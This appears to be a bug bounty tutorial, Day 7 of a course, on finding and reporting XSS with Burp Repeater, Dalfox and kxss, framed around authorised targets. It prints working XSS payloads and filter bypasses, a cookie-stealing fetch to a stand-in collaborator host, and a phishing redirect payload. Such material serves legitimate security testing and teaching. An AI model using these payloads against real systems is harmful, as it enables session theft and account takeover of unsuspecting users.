Authorised targets only. Test XSS on HackerOne/Bugcrowd in-scope targets, DVWA in your home lab, or TryHackMe/HackTheBox. Never test on any application without explicit written authorisation or a bug bounty programme scope covering the target. Lab: DVWA Labs Hub.
In Day 6 you mapped the target — dev subdomains, staging servers, forgotten APIs, priority targets sorted by EOL software. In Day 5 you built the Burp Suite workflow for systematically testing every parameter you encounter. Day 7 connects both: you are now going to use Burp Repeater against those priority subdomains to hunt XSS — the most consistently findable web vulnerability across every bug bounty programme. XSS scales from $0 (self-XSS) to $15,000+ (stored XSS on admin panels). That entire range is the same vulnerability type. The difference is impact demonstration. A beginner who finds a stored XSS and writes a report that clearly shows account takeover earns more than an experienced hunter who writes “alert box appeared.”
Day 7 covers XSS hunting from end to end — where to look, how to test each injection context in Burp Repeater (Day 5 skill applied), filter bypasses, escalating beyond alert(1), the self-XSS trap, DOM XSS in SPAs, automation with Dalfox, and the report template that maximises your payout.
💡 Day 6 + Day 7 connection: The dev and staging subdomains you mapped in Day 6 often have weaker input filtering than production. Start XSS testing on those priority subdomains first — the same sanitisation libraries that protect production may not be configured on dev environments. Open each priority target in your Burp-proxied browser (Day 5 setup) before testing.
Burp Suite Repeater XSS Workflow — Day 5 Skills Applied
From Day 5 you have Burp Suite configured with Repeater as your primary testing environment. Here is exactly how to apply those skills for XSS testing — the same workflow used in every professional web application assessment.
securityelites.com
Burp Suite Repeater — XSS Testing Workflow (Authorised Target, Day 5 Proxy Setup)
# STEP 1: Browse target via Burp Proxy (from Day 5) → HTTP History → send request to Repeater
# STEP 2: Inject canary string to confirm reflection
GET /search?q=xsscanary12345 HTTP/1.1
Host: dev.target.com
<p>Results for: xsscanary12345</p> ← reflected in HTML context ✓
# STEP 3: Test HTML context payload
GET /search?q=<img src=x onerror=alert(1)>
<p>Results for: <img src=x onerror=alert(1)></p>
# img tag NOT encoded → XSS confirmed ✓
# STEP 4: Escalate — demonstrate cookie theft for report
GET /search?q=<img src=x onerror=fetch(‘https://COLLAB.com/?c=’+btoa(document.cookie))>
Burp Suite Repeater XSS workflow using the Day 5 proxy setup — four steps: (1) browse via Burp Proxy, send interesting requests to Repeater from HTTP History, (2) inject canary string to confirm reflection and identify HTML context, (3) test img onerror payload — not encoded in response confirms XSS, (4) escalate to cookie exfiltration using Burp Collaborator for the impact demonstration in the report. The cookie fetch uses btoa() to base64-encode the value before exfiltration. This four-step process is the standard professional XSS confirmation workflow.
# ─── XSS testing workflow in Burp Repeater ──────────────────────
# 1. Browse target via Burp Proxy (Day 5 setup) # 2. HTTP History → find requests with user input in response # 3. Right-click → Send to Repeater # 4. Inject canary string — confirm reflection context q=xsscanary12345 → check where it appears in the response
# ─── Identify the reflection context ─────────────────────────── <p>xsscanary12345</p># → HTML context var q = “xsscanary12345”;# → JS string context <input value=”xsscanary12345″># → HTML attribute context
Injection Contexts — Match Your Payload to the Context
The most common reason beginners fail to confirm XSS on a genuinely vulnerable parameter is using the wrong payload for the injection context. Always confirm context with your canary string before testing payloads.
# ─── CONTEXT 2: Inside HTML attribute ─────────────────────────── # Reflected as: <input value=”your input”> ” onmouseover=”alert(1)# break out of double quote ‘ onmouseover=’alert(1)# break out of single quote ” autofocus onfocus=”alert(1)# fires automatically on focus
# ─── CONTEXT 3: Inside JavaScript string ──────────────────────── # Reflected as: var name = “your input”; “-alert(1)-“# close string, execute, reopen ‘;alert(1)//# terminate statement, comment rest
<img src=x onerror=alert(1)> <svg onload=alert(1)> <iframe onload=alert(1)> <details open ontoggle=alert(1)> No <script> tag needed
CASE + ENCODING
<ScRiPt>alert(1)</ScRiPt> <IMG SRC=x OnErRoR=alert(1)> <script>alert(1)</script> HTML entity encoding bypasses text filters
NESTED TAG BYPASS
<scr<script>ipt>alert(1)</scr</script>ipt> # Filter removes <script> once # Remaining chars reassemble it
DOM XSS — BYPASSES ALL SERVER FILTERS
https://target.com/#<img src=x onerror=alert(1)> # Hash never sent to server # Server WAF sees nothing
XSS Filter Bypass Reference — four panels: event handlers when script tags are blocked (no script tag required — img/svg/iframe/details all work), case variation and HTML entity encoding (bypass text-based keyword filters), nested tag bypass (filter removes script once — characters reassemble), and DOM XSS via URL hash (payload never reaches the server — completely bypasses all WAF and server-side sanitisation). Test simplest bypass first before complex encoding chains. Use Burp Repeater from Day 5 to test each bypass variant efficiently.
# ─── Quick bypass progression to try in Burp Repeater ─────────── # 1. Start with event handlers (bypasses most script-tag filters) <img src=x onerror=alert(1)> <svg onload=alert(1)>
# 2. Case variation if lowercase tags are filtered <IMG SRC=X ONERROR=alert(1)>
# 3. HTML encoding if keywords are string-matched <img src=x onerror=alert(1)>
# 4. DOM XSS if all server-side payloads fail https://target.com/#<svg onload=alert(1)>
Escalating Impact — From alert(1) to Account Takeover
alert(1) proves execution. It does not prove impact. The difference between a $200 payout and a $2,000 payout on the same XSS is almost always the impact demonstration in the report. Use Burp Collaborator (included in Burp Professional) or the free interactsh as your callback server.
# ─── Redirect to phishing page ────────────────────────────────── <img src=x onerror=”location.href=’https://your-phishing-page.com'”>
⚠️ Where to send exfiltrated data: Use Burp Collaborator (Burp Professional — from Day 5) or the free interactsh as your callback server. These generate unique domains that capture incoming requests so you can prove exfiltration without handling real user data. Never send cookie data to a third-party server you don’t control.
DOM XSS — Bypasses All Server-Side Filters
DOM XSS occurs entirely in the browser. The payload sits in the URL hash or is passed through client-side JavaScript sinks — it never reaches the server. Every WAF and server-side filter is bypassed completely. Increasingly common in modern React, Angular, and Vue SPAs.
# ─── How to hunt DOM XSS ────────────────────────────────────────
# 1. In DevTools → Sources: search for dangerous sinks innerHTML · outerHTML · document.write · eval() · location.href
# 2. Find which sinks read from user-controlled sources: location.hash# URL fragment — most common DOM XSS source location.search# query string document.referrer# referrer header
# ─── The two-account test — always run this before reporting ───── # 1. Inject XSS payload in profile field (e.g. display name) as Account A # 2. Log out. Open incognito / different browser. # 3. Log in as Account B (or browse as anonymous user) # 4. Visit the page where Account A’s name/content is displayed # 5. Did alert fire in Account B’s browser?
YES → Stored XSS → other users affected → REPORT → high payout NO → Self-XSS → only you are affected → DO NOT REPORT → $0
# Stored XSS (NOT self-XSS) examples: Display name shown in comment feeds (all visitors see it) Product review text (any visitor to that product page) Support ticket visible to support staff
# Scan a single URL: dalfox url“https://dev.target.com/search?q=test”
# With session cookie (from Burp HTTP History — Day 5): dalfox url“https://dev.target.com/search?q=test”–cookie“session=abc123”
# Pipe all URLs from file: cat urls.txt | dalfox pipe
# ─── kxss — quick reflection checker ─────────────────────────── # go install github.com/tomnomnom/kxss@latest cat urls_with_params.txt | kxss # Returns only URLs where special chars reflect unencoded # Then manually test those in Burp Repeater (Day 5)
Writing XSS Reports That Maximise Your Payout
Two hunters find the same stored XSS. One writes “XSS in profile name, payload: <script>alert(1)</script>“. The other writes the report below. The second earns three to ten times more for the same bug.
securityelites.com
XSS BUG BOUNTY REPORT TEMPLATE — DAY 7 — securityelites.com
TITLE FORMAT
[Stored XSS] Profile display name executes in all visitors’ browsers — account takeover via session cookie theft
STEPS TO REPRODUCE
1. Log in as Attacker A
2. Go to /settings/profile
3. Set display name to:
<img src=x onerror=fetch(‘https://COLLAB.com/?c=’+btoa(document.cookie))>
4. Save profile
5. Log in as Victim B (separate browser)
6. Visit /users/attackerA
7. Collaborator receives Victim B’s session cookie
8. Replay cookie → full account access
IMPACT
→ Full account takeover for any visitor
→ Session cookie not HttpOnly protected
→ Credential capture via keylogger
→ Phishing redirect to attacker site
→ Stored XSS worm propagation possible
Encode all user-supplied output before rendering in HTML. Set HttpOnly on session cookies. Implement Content-Security-Policy. Reference: OWASP XSS Prevention Cheat Sheet.
XSS Bug Bounty Report Template — the structure that maximises payout. Title: [Type] + location + actual impact (not “XSS found”). Steps: numbered, reproducible from zero, with attacker/victim roles using separate browser sessions. Impact: specific scenarios — not “this is bad.” CVSS score and CWE reference signal professional quality to triage. Remediation: specific and actionable. The same vulnerability reported this way vs “alert(1) works here” can be the difference between $200 and $3,000.
60-Day Bug Bounty Course — All Free, All Practical
Day 5 gave you Burp Suite. Day 6 mapped the attack surface. Day 7 taught you to hunt XSS. Day 8 brings IDOR — the finding that consistently pays more per hour of hunting than almost any other bug class.
Yes, but payout depends on impact. Self-XSS: $0. Reflected XSS low-sensitivity: $100-$500. Reflected with cookie theft: $500-$2,000. Stored XSS many users: $1,000-$5,000. Stored XSS on admin panels: $2,000-$15,000. The difference is the impact demonstration in the report, not the technical complexity.
Where should I look for XSS in bug bounty?
Search fields, error pages reflecting URL, user profile fields (name, bio shown publicly), comment/review systems, URL path segments, HTTP headers, JavaScript sinks in SPAs. Start with dev and staging subdomains from Day 6 — weaker filtering than production.
Stored vs reflected XSS — why does stored pay more?
Stored XSS executes automatically in every visitor’s browser — no social engineering required. Reflected needs the victim to click a crafted link. Stored in a high-traffic area affects thousands simultaneously, which programmes weight heavily in severity.
What is self-XSS and why doesn’t it pay?
XSS that executes only in the attacker’s own browser — profile field only visible to the account owner. Zero impact to other users = $0. Two-account test: log into a second browser as a different user and visit the affected page. If the script fires there, it is stored XSS. If not, it is self-XSS.
How do I bypass XSS filters?
Event handlers when script tags are blocked: <img src=x onerror=alert(1)>. Case variation. HTML entity encoding. Nested tags. DOM XSS via URL hash (bypasses all server-side filters). Always test simplest bypass first.
What tools do bug bounty hunters use for XSS?
Burp Suite Repeater for manual confirmation (Day 5 Deep Dive skills), Dalfox for automated scanning, kxss for fast reflection detection, ParamSpider for parameter extraction. Manual Burp testing remains essential for DOM XSS and filter bypasses.
ME
Mr Elite
Founder, SecurityElites.com
The best XSS report I ever wrote was for a stored XSS in a notification system on a staging subdomain I discovered using the exact crt.sh + httpx workflow from Day 6. The subdomain had weaker filtering than production. I found the injection in Burp Repeater (Day 5 setup), demonstrated the full account takeover chain with a Burp Collaborator callback, filmed a video walkthrough showing session replay in a clean browser, and included CVSS score and CWE reference. The programme triaged it Critical and paid ten times their standard XSS rate. Same vulnerability. Better recon. Better documentation. Dramatically higher payout.
Up Next — Day 8
IDOR — Insecure Direct Object Reference Hunting
XSS attacks users’ browsers. IDOR attacks the server directly. Day 8 covers the finding that pays more consistently per hour than almost any other bug class.
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
